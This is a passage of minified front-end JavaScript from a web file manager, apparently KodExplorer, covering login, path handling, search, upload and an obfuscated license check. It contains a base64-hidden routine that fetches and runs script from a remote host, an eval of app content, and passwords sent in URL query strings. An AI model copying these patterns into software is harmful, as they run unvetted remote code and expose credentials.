t="./index.php?user/checkCode&t="+UUID();$(".check_code img").attr("src",t),$(".check_code").val("").focus(),e()},i=function(e){var i=$("#username").val(),a=$("#password").val(),n=$("input[name=rember_password]").attr("checked")?1:0,o="./index.php?user/loginSubmit&name="+urlEncode(i)+"&check_code="+$("input.check_code").val()+"&password="+urlEncode(a)+"&rember_password="+n+"&is_ajax=1";return $.ajax({dataType:"json",url:o,error:function(e,t,i){setTimeout(function(){core.ajaxError(e,t,i)},600)},success:function(e){if("ok"!=e.data&&($(".msg").show().html(e.data),Tips.tips(e.data,!1)),e.code){var i="./index.php";void 0!=$.getUrlParam("link")&&(i=$.getUrlParam("link")),window.location.href=i}else $(".loginbox").shake(2,30,60),t(),$("#username").focus()}}),stopPP(e),!1};e(),$(".check_code img").bind("click",t),$("form").submit(i),$("#username,#password,input.check_code").keyEnter(i),$(".forget_password").bind("click",function(){$.dialog.alert(LNG.forget_password_tips)}),0!=$(".login-wap").length&&$("#username,#password").bind("focus",function(){$(".common_footer").hide()}).bind("blur",function(){$(".common_footer").show()});var a=$(".admin_password input"),n=$(".admin_password_repeat input");a.keyEnter(function(){$(".start").click()}),n.keyEnter(function(){$(".start").click()}),$(".start").bind("click",function(){var e=trim(a.val());e!=n.val()?Tips.tips(LNG.login_root_password_equal,!1):""==e?(Tips.tips(LNG.login_root_password_tips,!1),a.focus()):window.location.href="./index.php?user/loginFirst&password="+urlEncode(e)}),$(".LICENSE_SUBMIT").bind("click",function(){var e=a.val();""==e?(Tips.tips(LNG.not_null,!1),a.focus()):window.location.href="./index.php?user/version_install&license_code="+e})})}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
        ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i='
        '+t+"
        ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n
        \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]); -var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
